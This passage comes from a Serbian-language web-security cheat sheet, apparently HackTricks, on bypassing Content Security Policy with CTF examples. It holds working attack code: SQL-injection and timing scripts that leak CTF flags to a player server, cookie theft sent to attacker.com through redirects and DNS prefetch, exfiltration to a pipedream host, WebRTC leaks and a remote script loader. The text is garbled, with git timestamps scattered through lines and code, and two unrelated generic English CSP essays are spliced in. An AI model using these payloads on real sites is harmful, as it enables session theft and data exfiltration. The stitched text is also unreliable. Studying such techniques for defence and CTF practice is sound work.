Stoga, najbolje rešenje je osigurati da veb sajt nema ranjivosti na otvoreno preusmeravanje i da ne postoje domeni koji mogu biti iskorišćeni u pravilima CSP.
### Zaobilaženje CSP pomoću visećeg markup-a
Pročitajte [ovde](../dangling-markup-html-scriptless-injection/).
### 'unsafe-inline'; img-src \*; putem XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti na veb stranici bilo koju sliku sa bilo kog izvora.
Ovu CSP možete zaobići eksfiltriranjem podataka putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavu putem slike):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
Sa ovom konfiguracijom takođe možete zloupotrebiti **učitavanje JavaScript koda ubačenog unutar slike**. Na primer, ako stranica dozvoljava učitavanje slika sa Twittera, možete **napraviti** **specijalnu sliku**, **učitati** je na Twitter i zloupotrebiti "**unsafe-inline**" da **izvršite** JS kod (kao redovan XSS) koji će **učitati** sliku, **izvući** JS iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Sa Servisnim Radnicima
2022-06-28 23:06:59 +00:00
2024-02-10 13:11:20 +00:00
Funkcija **`importScripts`** servisnih radnika nije ograničena CSP-om:
2022-12-20 11:25:07 +00:00
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}
### Umetanje Politike
2023-01-04 12:21:48 +00:00
2024-02-10 13:11:20 +00:00
**Istraživanje:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
2023-01-04 12:21:48 +00:00
#### Chrome
Ako je **parametar** koji ste poslali **zalepljen unutar** **deklaracije** **politike**, tada možete **izmeniti** **politiku** na način koji je **beskoristan**. Možete **dozvoliti skript 'unsafe-inline'** sa bilo kojim od ovih prelaza:
2023-01-04 12:21:48 +00:00
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Zato što će ovaj direktiv **prepisati postojeće direktive script-src**.\
Primer možete pronaći ovde: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
2023-01-04 12:21:48 +00:00
#### Edge
U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: **`;_`** **Edge** će **odbaciti** ceo **policy**.\
Primer: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; putem XSS (iframe) - Napad vremenskim usklađivanjem
Primetite nedostatak direktive `'unsafe-inline'`\
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako na neki način možete **kontrolisati vreme koje je potrebno stranici da se učita** možete izvući potrebne informacije.
Ovog puta će se **flag** izvući, svaki put kada se **karakter tačno pogodi** putem SQLi, **odgovor** traje **duže** zbog sleep funkcije. Tada ćete moći izvući flag:
2024-02-05 20:00:40 +00:00
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
2024-02-10 13:11:20 +00:00
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
2024-02-10 13:11:20 +00:00
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
2024-02-10 13:11:20 +00:00
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
2024-02-10 13:11:20 +00:00
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
```
### Preko Bookmarkleta
Ovaj napad bi implicirao neko oblik društvenog inženjeringa gde napadač **ubeđuje korisnika da prevuče i ispusti link preko bookmarkleta u pretraživaču**. Ovaj bookmarklet bi sadržao **zlonamerni JavaScript** kod koji bi se izvršio u kontekstu trenutnog prozora veba, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** poput kolačića ili tokena.
2024-02-10 13:11:20 +00:00
Za više informacija [**proverite originalni izveštaj ovde**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Zaobilaženje CSP-a ograničavanjem CSP-a
U [**ovom CTF izveštaju**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP je zaobiđen ubacivanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji nije dozvoljavao učitavanje određene JS datoteke koja je zatim, putem **zagađenja prototipa** ili **dom clobbering-a**, omogućila **zloupotrebu drugačijeg skripta za učitavanje proizvoljnog skripta**.
Možete **ograničiti CSP iframe-a** pomoću atributa **`csp`**:
{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}
U [**ovom CTF zapisu**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML ubacivanja** dodatno **ograničiti** **CSP** tako da je skripta koja sprečava CSTI bila onemogućena i stoga je **ranjivost postala iskoristiva.**\
CSP može postati stroži korišćenjem **HTML meta tagova** i inline skripte mogu biti onemogućene **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanje specifične inline skripte putem sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### JS ekstrakcija pomoću Content-Security-Policy-Report-Only
Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću kojom upravljate vi** (možda zbog CRLF-a), možete ga naterati da upućuje ka vašem serveru i ako **obavijete** **JS sadržaj** koji želite da ekstraktujete sa **`<script>`** i jer je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP-a, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) će biti poslat na server sa `Content-Security-Policy-Report-Only`.
2024-02-10 13:11:20 +00:00
Za primer [**proverite ovaj CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
2022-06-23 12:52:13 +00:00
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
2020-09-09 09:16:35 +00:00
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### Otkrivanje informacija pomoću CSP i Iframe-a
2020-09-09 09:16:35 +00:00
* Kreira se `iframe` koji pokazuje ka URL-u (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP-a.
* Taj URL zatim preusmerava ka tajnom URL-u (npr. `https://usersecret.example2.com`) koji **nije dozvoljen** od strane CSP-a.
* Slušanjem događaja `securitypolicyviolation`, moguće je uhvatiti svojstvo `blockedURI`. Ovo svojstvo otkriva domen blokiranog URI-ja, otkrivajući tajni domen ka kojem je prvobitni URL preusmeren.
2021-07-19 19:50:23 +00:00
Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različito ponašanje u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog otkrivanja osetljivih informacija zbog nedefinisanog ponašanja.
2021-07-19 19:50:23 +00:00
Druga tehnika uključuje iskorišćavanje samog CSP-a kako bi se zaključio tajni poddomen. Ova metoda se oslanja na binarni pretraga algoritam i prilagođavanje CSP-a da uključi određene domene koji su namerno blokirani. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikujući CSP direktivu da blokira ili dozvoli ove poddomene. Evo isečka koji prikazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:
2024-02-05 20:00:40 +00:00
```markdown
2021-07-19 19:50:23 +00:00
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Prateći koje zahteve CSP blokira ili dozvoljava, moguće je suziti moguće karaktere u tajnom poddomenu, otkrivajući konačno punu URL adresu.
2021-07-19 19:50:23 +00:00
Oba metoda iskorišćavaju nijanse implementacije i ponašanja CSP-a u pregledačima, pokazujući kako se naizgled sigurne politike mogu nenamerno otkriti osetljive informacije.
2024-02-05 20:00:40 +00:00
2024-02-10 13:11:20 +00:00
Triks sa [**ovde**](https://ctftime.org/writeup/29310).
2021-07-19 19:50:23 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
2023-02-27 09:28:45 +00:00
2024-02-10 13:11:20 +00:00
**Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
2023-02-27 09:28:45 +00:00
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa dinamičnim svetom hakovanja putem vesti i uvida u realnom vremenu
2023-02-27 09:28:45 +00:00
**Najnovije najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
2022-10-27 23:22:18 +00:00
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
2022-06-28 23:51:00 +00:00
## Nesigurne tehnologije za zaobilaženje CSP-a
2022-06-28 23:51:00 +00:00
### Preopterećenje PHP odgovora baferom
2022-06-28 23:51:00 +00:00
PHP je poznat po **baferovanju odgovora do 4096** bajtova po podrazumevanim podešavanjima. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP zaglavlja**, što dovodi do ignorisanja zaglavlja.\
Zatim, tehnika se uglavnom sastoji u **popunjavanju bafera odgovora upozorenjima** kako bi CSP zaglavlje bilo poslato.
2022-06-28 23:51:00 +00:00
Ideja sa [**ovog writeupa**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
2022-06-28 23:51:00 +00:00
2024-02-10 13:11:20 +00:00
### Prepravljanje stranice sa greškom
2022-06-28 23:51:00 +00:00
Iz [**ovog writeupa**](https://blog.ssrf.kr/69) izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice sa greškom (potencijalno bez CSP-a) i prepravljanjem njenog sadržaja.
2022-06-28 23:51:00 +00:00
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
2024-02-10 13:11:20 +00:00
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
2022-06-28 23:51:00 +00:00
}, 1000);
```
### SOME + 'self' + wordpress
2022-06-28 23:51:00 +00:00
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **na kraju stranice** da bi **zloupotrebila** **druge krajnje tačke istog porekla.** Ovo se postiže učitavanjem ranjive krajnje tačke sa stranice napadača, a zatim osvežavanjem stranice napadača do prave krajnje tačke u istom poreklu koju želite zloupotrebiti. Na ovaj način, **ranjiva krajnja tačka** može koristiti **`opener`** objekat u **payload-u** da **pristupi DOM-u** **prave krajnje tačke koju želite zloupotrebiti.** Za više informacija pogledajte:
2022-06-28 23:51:00 +00:00
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
Osim toga, **wordpress** ima **JSONP** krajnju tačku u `/wp-json/wp/v2/users/1?_jsonp=data` koja će **reflektovati** **podatke** poslate u izlazu (sa ograničenjem samo slova, brojeva i tačaka).
2022-06-28 23:51:00 +00:00
Napadač može zloupotrebiti tu krajnju tačku da bi **izveo SOME napad** na WordPress i **ugradio** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` obratite pažnju da će se ovaj **skript** **učitati** jer je **dozvoljen od strane 'self'**. Osim toga, i zbog toga što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** putem **ranjive** **callback** krajnje tačke koja **zaobilazi CSP** da bi dao više privilegija korisniku, instalirao novi dodatak...\
2024-02-10 13:11:20 +00:00
Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
2022-06-28 23:51:00 +00:00
2024-02-10 13:11:20 +00:00
## Bypass-ovi CSP eksfiltracije
2022-04-20 21:55:42 +00:00
Ako postoji strogi CSP koji vam ne dozvoljava da **interaktujete sa spoljnim serverima**, postoje neke stvari koje uvek možete uraditi da eksfiltrirate informacije.
2022-04-20 21:55:42 +00:00
### Lokacija
2022-04-20 21:55:42 +00:00
Jednostavno možete ažurirati lokaciju da pošaljete tajne informacije napadačkom serveru:
2022-04-20 21:55:42 +00:00
```javascript
2024-02-10 13:11:20 +00:00
var sessionid = document.cookie.split('=')[1]+".";
2022-04-20 21:55:42 +00:00
document.location = "https://attacker.com/?" + sessionid;
```
### Meta tag
2022-04-20 21:55:42 +00:00
Možete preusmeriti ubacivanjem meta oznake (ovo je samo preusmeravanje, neće procuriti sadržaj)
2022-04-28 13:04:05 +00:00
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
2022-06-23 12:52:13 +00:00
### DNS Prefetch
2022-04-20 21:55:42 +00:00
Da biste učitali stranice brže, pretraživači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.\
Možete navesti pretraživač da unapred rešava ime hosta sa: `<link reol="dns-prefetch" href="something.com">`
2022-04-20 21:55:42 +00:00
Možete zloupotrebiti ovu ponašanje da **eksfiltrirate osetljive informacije putem DNS zahteva**:
2022-04-20 21:55:42 +00:00
```javascript
2024-02-10 13:11:20 +00:00
var sessionid = document.cookie.split('=')[1]+".";
2022-04-20 21:55:42 +00:00
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
## Bypassing Content Security Policy (CSP)
---
### Introduction
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a specific page can load. However, in some cases, it is possible to bypass CSP protections using various techniques.
### Bypassing CSP using `unsafe-inline`
One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This keyword allows the execution of inline scripts and styles, which are otherwise blocked by CSP. By injecting malicious code inline, an attacker can bypass CSP protections.
### Bypassing CSP using Data URI
Another way to bypass CSP is by using Data URI. Data URIs allow embedding small files directly into the HTML or CSS code. By encoding the malicious script or style into a Data URI format, an attacker can bypass CSP restrictions on external resources.
### Bypassing CSP using Trusted Types
Trusted Types is a browser feature that helps prevent DOM-based XSS attacks by enforcing a strong policy for dynamic code execution. However, in some cases, it is possible to bypass CSP protections by exploiting vulnerabilities in the implementation of Trusted Types.
### Conclusion
While Content Security Policy is a powerful tool for enhancing web application security, it is essential to understand the potential bypass techniques to ensure robust protection against code injection attacks. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities in web applications.
2022-04-20 21:55:42 +00:00
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
Da biste sprečili da se ovo desi, server može poslati HTTP zaglavlje:
2022-04-20 21:55:42 +00:00
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Očigledno, ova tehnika ne funkcioniše u headless pregledačima (botovima)
2022-04-20 21:55:42 +00:00
{% endhint %}
2022-06-23 12:52:13 +00:00
### WebRTC
2022-04-20 21:55:42 +00:00
2024-02-10 13:11:20 +00:00
Na nekoliko stranica možete pročitati da **WebRTC ne proverava `connect-src` politiku** CSP-a.
2024-02-10 13:11:20 +00:00
Zapravo, možete _procuriti_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod:
2022-04-20 21:55:42 +00:00
```javascript
2023-08-27 19:27:30 +00:00
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
2022-04-20 21:55:42 +00:00
```
## Bypassing Content Security Policy (CSP)
---
### Introduction
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, in some cases, it can be bypassed using various techniques.
### Bypassing CSP using `unsafe-inline`
One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This allows the execution of inline scripts and styles, which are normally blocked by CSP.
### Bypassing CSP using data: URI
Another technique to bypass CSP is by using `data:` URIs to embed external resources inline. This can be used to execute scripts or load styles from external sources, bypassing the CSP restrictions.
### Bypassing CSP using loopholes
There are also various loopholes and misconfigurations that can be exploited to bypass CSP. These include bypassing CSP using JSONP endpoints, abusing browser extensions, and exploiting browser quirks.
### Conclusion
While Content Security Policy is a powerful security measure, it is not foolproof. It is important for security professionals to be aware of the potential bypass techniques in order to better secure web applications against attacks.
```javascript
var pc = new RTCPeerConnection({
2024-02-10 13:11:20 +00:00
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
2024-02-10 13:11:20 +00:00
## Provera CSP politika online
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
2024-02-10 13:11:20 +00:00
## Automatsko kreiranje CSP
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
2024-02-10 13:11:20 +00:00
## Reference
2022-10-27 23:22:18 +00:00
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
2022-12-03 17:35:56 +00:00
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
2024-02-05 20:00:40 +00:00
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
2022-10-27 23:22:18 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
2024-02-10 13:11:20 +00:00
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
2023-02-27 09:28:45 +00:00
**Hakerski uvidi**\
2024-02-10 13:11:20 +00:00
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Vesti o hakovanju u realnom vremenu**\
2024-02-10 13:11:20 +00:00
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
2023-02-27 09:28:45 +00:00
**Najnovije najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
2023-02-27 09:28:45 +00:00
2024-02-10 13:11:20 +00:00
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-02 18:28:27 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>